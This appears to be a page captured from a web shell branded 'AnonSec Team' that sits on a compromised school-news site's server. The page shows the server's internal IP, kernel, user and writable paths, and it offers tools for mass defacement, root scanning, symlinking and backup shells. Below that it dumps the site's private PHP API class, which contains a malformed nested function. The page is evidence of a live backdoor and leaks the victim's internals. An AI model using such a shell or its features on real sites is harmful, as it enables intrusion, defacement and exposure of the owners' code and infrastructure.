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/  Your IP : 172.31.12.187   [ Reverse IP ]
Web Server : Apache/2.4.67 () OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux ip-172-31-14-184.eu-central-1.compute.internal 4.14.281-212.502.amzn2.x86_64 #1 SMP Thu May 26 09:52:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
Domains : 4 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/scuolaviva/app/components/app/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/scuolaviva/app/components/app/api.class.php
<?php
class APPStudenti extends API
{
	
	protected $db;

	public $url_cdn = "https://dlcgffrgumc14.cloudfront.net/";

	public function __construct()
	{
		$this->db = new DBLink(FILE_INI_MDADB);
		$this->db->SafeFetch("SET CHARACTER SET utf8 ");

	}  

	/* ---------------------------------------- */
	/* ----------------- ACL ------------------ */
	/* ---------------------------------------- */
	
	
	


	/* ---------------------------------------- */
	/* --------------- ARTICOLI ----------------- */
	/* ---------------------------------------- */

	function getArticoli() {
		$query = "SELECT articolo.id_articolo AS id, articolo.titolo AS title, articolo.descrizione AS content, categorie.nome_categoria AS category, articolo.like AS votes, articolo.updated, articolo.link_esterno as link, articolo.link_video, articolo.insert_time as createdAt FROM articolo LEFT JOIN categorie on articolo.id_categoria = categorie.id_categoria LEFT JOIN user ON articolo.id_user_insert = user.id_user WHERE articolo.attivo=1";
		$res= $this->db->SafeFetch($query);	
		foreach ($res as &$articolo) {
			$_id_articolo = $articolo['id'];
			$articolo['images_background'] = $this->getListaFilePrivate('articolo', $_id_articolo);
			foreach ($articolo['images_background'] as &$image) {
				$image = array("url"=>$this->url_cdn ."articolo/".$_id_articolo."/". $image);			
			}
		}
		return $this->printMessage( $this->responseMessage($res, true) );
	}

	function getArticoliCategoria($_id_categoria) {
		$id_categoria =  $this->db->quoteInt($_id_categoria);
		$query = "SELECT articolo.id_articolo AS id, articolo.titolo AS title, articolo.descrizione AS content, categorie.nome_categoria AS category, articolo.like AS votes, articolo.updated, articolo.link_esterno as link, articolo.link_video, articolo.insert_time as createdAt  FROM articolo LEFT JOIN categorie on articolo.id_categoria = categorie.id_categoria LEFT JOIN user ON articolo.id_user_insert = user.id_user WHERE articolo.attivo=1 AND articolo.id_categoria = $id_categoria"; // LEFT JOIN studenti_user_info ON articolo.id_user_insert = studenti_user_info.id_user
		$res= $this->db->SafeFetch($query);	
		foreach ($res as &$articolo) {
			$_id_articolo = $articolo['id'];
			$articolo['images_background'] = $this->getListaFilePrivate('articolo', $_id_articolo);
			foreach ($articolo['images_background'] as &$image) {
				$image = array("url"=>$this->url_cdn ."articolo/".$_id_articolo."/". $image);			
			}
		}
		return $this->printMessage( $this->responseMessage($res, true) );
	}
	
	function votaArticolo($_id_articolo){
		$id_articolo =  $this->db->quoteInt($_id_articolo);
		$query = "UPDATE articolo SET `like` = `like` + 1 WHERE id_articolo = $id_articolo";
		if ($this->db->SafeExec($query)) {
			return $this->printMessage( $this->responseMessage("Voto inserito con successo!", true) );
    	} else {
			return $this->printMessage( $this->responseMessage("Errore durante l'aggiornamento, si prega di riprovare!", false) );
		}
	}


	/* ---------------------------------------- */
	/* --------------- EVENTI ----------------- */
	/* ---------------------------------------- */

	function getEventi() {
		$query = "SELECT evento.id_evento AS id, evento.titolo AS title, evento.descrizione AS content, evento.data_inizio AS date_start, evento.data_fine AS date_end, evento.indirizzo AS address, evento.location_lat AS latitude, evento.location_long AS longitude, categorie.nome_categoria AS category, evento.like AS votes, evento.updated, evento.link_esterno as link, evento.link_video, evento.insert_time as createdAt  FROM evento LEFT JOIN categorie on evento.id_categoria = categorie.id_categoria LEFT JOIN user ON evento.id_user_insert = user.id_user WHERE evento.attivo=1";// LEFT JOIN studenti_user_info ON articolo.id_user_insert = studenti_user_info.id_user";
		$res= $this->db->SafeFetch($query);	
		foreach ($res as &$evento) {
			$_id_evento = $evento['id'];
			$evento['images_background'] = $this->getListaFilePrivate('evento', $_id_evento);
			foreach ($evento['images_background'] as &$image) {
				$image = array("url"=>$this->url_cdn ."evento/".$_id_evento."/". $image);			
			}
		}
		return $this->printMessage( $this->responseMessage($res, true) );
	}

	function getEventiCategoria($_id_categoria) {
		$id_categoria =  $this->db->quoteInt($_id_categoria);
		$query = "SELECT evento.id_evento AS id, evento.titolo AS title, evento.descrizione AS content, evento.data_inizio AS date_start, evento.data_fine AS date_end, evento.indirizzo AS address, evento.location_lat AS latitude, evento.location_long AS longitude, categorie.nome_categoria AS category, evento.like AS votes, evento.updated, evento.link_esterno as link, evento.link_video, evento.insert_time as createdAt  FROM evento LEFT JOIN categorie on evento.id_categoria = categorie.id_categoria LEFT JOIN user ON evento.id_user_insert = user.id_user WHERE evento.attivo=1 AND evento.id_categoria=$id_categoria";// LEFT JOIN studenti_user_info ON articolo.id_user_insert = studenti_user_info.id_user";
		$res= $this->db->SafeFetch($query);	
		foreach ($res as &$evento) {
			$_id_evento = $evento['id'];
			$evento['images_background'] = $this->getListaFilePrivate('evento', $_id_evento);
			foreach ($evento['images_background'] as &$image) {
				$image = array("url"=>$this->url_cdn ."evento/".$_id_evento."/". $image);
			}
		}
		return $this->printMessage( $this->responseMessage($res, true) );
	}

	function votaEvento($_id_evento){
		$id_evento =  $this->db->quoteInt($_id_evento);
		$query = "UPDATE evento SET `like` = `like` + 1 WHERE id_evento = $id_evento";
		if ($this->db->SafeExec($query)) {
			return $this->printMessage( $this->responseMessage("Voto inserito con successo!", true) );
    	} else {
			return $this->printMessage( $this->responseMessage("Errore durante l'aggiornamento, si prega di riprovare!", false) );
		}
	}

	
	/* ---------------------------------------- */
	/* --------------- CATEGORIE ----------------- */
	/* ---------------------------------------- */

	function getCategorie() {
		$query = "SELECT categorie.id_categoria AS id, categorie.id_categoria AS 'key', categorie.nome_categoria AS name, categorie.image, '' AS description, (SELECT COUNT(*) FROM articolo where id_categoria = categorie.id_categoria) as num_articoli, (SELECT COUNT(*) FROM evento where id_categoria = categorie.id_categoria) as num_eventi from categorie";
		$res= $this->db->SafeFetch($query);	
		for ($i=0; $i < count($res); $i++) { 
			$res[$i]['images_background'] = ["https://scuolaviva.scuolabuona.it/".$res[$i]['image']];
		}
		return $this->printMessage( $this->responseMessage($res, true) );
	}

	/* ---------------------------------------- */
	/* --------------- SEGNALAZIONI ----------------- */
	/* ---------------------------------------- */

  	function inserisciSegnalazione($nome, $email, $categoria, $titolo, $descrizione, $telefono, $tipologia, $link) {
		$nome = $this->db->quoteText($nome);
		$email = $this->db->quoteText($email);
		
		$cat= $this->db->SafeFetch("SELECT * FROM categorie");	
		for ($i=0; $i < count($cat); $i++) { 
			if($cat[$i]['nome_categoria'] == $categoria){
				$id_categoria = $this->db->quoteInt($cat[$i]['id_categoria']);
			}
		}
		if(!$id_categoria){
			$id_categoria = $this->db->quoteInt(-1);
		}

		$titolo = $this->db->quoteText($titolo);
		$descrizione = $this->db->quoteText($descrizione);
		$telefono = $this->db->quoteText($telefono);
		$link = $this->db->quoteText($link);
		$tipologia = $this->db->quoteText($tipologia);


		if(empty($nome) || empty($email) || empty($titolo) || empty($descrizione) || empty($link)) {
			return $this->printMessage( $this->responseMessage("Tutti i campi sono obbligatori", false) );
		}

		$query = "INSERT INTO segnalazione (nome, email, id_categoria, titolo, descrizione, telefono, link, tipologia) VALUES ($nome, $email, $id_categoria, $titolo, $descrizione, $telefono, $link, $tipologia)";
		$res = $this->db->SafeQuery($query);

		if($res) {
			return $this->printMessage( $this->responseMessage("Segnalazione inserita con successo", true) );
		} else {
			return $this->printMessage( $this->responseMessage("Errore nell'inserimento della segnalazione", false) );
		}
  	}

	/* ---------------------------------------- */
	/* --------------- SISTEMA ----------------- */
	/* ---------------------------------------- */

	function health() {
		return $this->printMessage( $this->responseMessage("Sistema operativo in salute", true) );
	}

	function lastUpdate() {
		$query = "SELECT MAX(insert_time) as last_insert FROM articolo";
		$res= $this->db->SafeFetchOne($query);	
		$articoli_last_insert = $res['last_insert'];
		$query = "SELECT MAX(updated) as last_updated FROM articolo";
		$res= $this->db->SafeFetchOne($query);	
		$articoli_last_updated = $res['last_updated'];
		$query = "SELECT MAX(insert_time) as last_insert FROM evento";
		$res= $this->db->SafeFetchOne($query);	
		$eventi_last_insert = $res['last_insert'];
		$query = "SELECT MAX(updated) as last_updated FROM evento";
		$res= $this->db->SafeFetchOne($query);	
		$eventi_last_updated = $res['last_updated'];

		$timestamps = array_filter([
			$articoli_last_insert,
			$articoli_last_updated,
			$eventi_last_insert,
			$eventi_last_updated
		]);

		$latest = !empty($timestamps) ? max($timestamps) : null;
		return $this->printMessage( $this->responseMessage($latest, true) );
	}

	private function lastUpdateInternal(){
		function lastUpdate() {
		$query = "SELECT MAX(insert_time) as last_insert FROM articolo";
		$res= $this->db->SafeFetchOne($query);	
		$articoli_last_insert = $res['last_insert'];
		$query = "SELECT MAX(updated) as last_updated FROM articolo";
		$res= $this->db->SafeFetchOne($query);	
		$articoli_last_updated = $res['last_updated'];
		$query = "SELECT MAX(insert_time) as last_insert FROM evento";
		$res= $this->db->SafeFetchOne($query);	
		$eventi_last_insert = $res['last_insert'];
		$query = "SELECT MAX(updated) as last_updated FROM evento";
		$res= $this->db->SafeFetchOne($query);	
		$eventi_last_updated = $res['last_updated'];

		$timestamps = array_filter([
			$articoli_last_insert,
			$articoli_last_updated,
			$eventi_last_insert,
			$eventi_last_updated
		]);

		$latest = !empty($timestamps) ? max($timestamps) : null;
		return $latest;
	}
	}
	
	/* ---------------------------------------- */
	/* --------------- APP ----------------- */
	/* ---------------------------------------- */

	function all() {
		
		$query = "SELECT articolo.id_articolo AS id, articolo.titolo AS title, articolo.descrizione AS content, categorie.nome_categoria AS category, articolo.like AS votes, articolo.updated, articolo.link_esterno as link, articolo.link_video, articolo.insert_time as createdAt  FROM articolo LEFT JOIN categorie on articolo.id_categoria = categorie.id_categoria LEFT JOIN user ON articolo.id_user_insert = user.id_user WHERE articolo.attivo=1";
		$art= $this->db->SafeFetch($query);	
		foreach ($art as &$articolo) {
			$_id_articolo = $articolo['id'];
			$articolo['images_background'] = $this->getListaFilePrivate('articolo', $_id_articolo);
			foreach ($articolo['images_background'] as &$image) {
				$image = array("url"=>$this->url_cdn ."articolo/".$_id_articolo."/". $image);			
			}
		}

		$query = "SELECT evento.id_evento AS id, evento.titolo AS title, evento.descrizione AS content, evento.link_video, evento.data_inizio AS date_start, evento.data_fine AS date_end, evento.indirizzo AS address, evento.location_lat AS latitude, evento.location_long AS longitude, categorie.nome_categoria AS category, evento.like AS votes, evento.updated, evento.link_esterno as link, evento.insert_time as createdAt  FROM evento LEFT JOIN categorie on evento.id_categoria = categorie.id_categoria LEFT JOIN user ON evento.id_user_insert = user.id_user WHERE evento.attivo=1";
		$ev= $this->db->SafeFetch($query);
		foreach ($ev as &$evento) {
			$_id_evento = $evento['id'];
			$evento['images_background'] = $this->getListaFilePrivate('evento', $_id_evento);
			foreach ($evento['images_background'] as &$image) {
				$image = array("url"=>$this->url_cdn ."evento/".$_id_evento."/". $image);			
			}
		}	

		$query = "SELECT categorie.id_categoria AS id, categorie.id_categoria AS 'key', categorie.image ,categorie.nome_categoria AS name, '' AS description, (SELECT COUNT(*) FROM articolo where id_categoria = categorie.id_categoria) as num_articoli, (SELECT COUNT(*) FROM evento where id_categoria = categorie.id_categoria) as num_eventi from categorie";
		$cat= $this->db->SafeFetch($query);	
		for ($i=0; $i < count($cat); $i++) { 
			$cat[$i]['images_background'] = ["https://scuolaviva.scuolabuona.it/".$cat[$i]['image']];
		}

		$return = array("articles" =>  $art, "events" => $ev, "categories" => $cat, "lastSync" => $this->lastUpdateInternal());
		return $this->printMessage( $this->responseMessage($return, true) );
	}
	
}
?>

Anon7 - 2022
AnonSec Team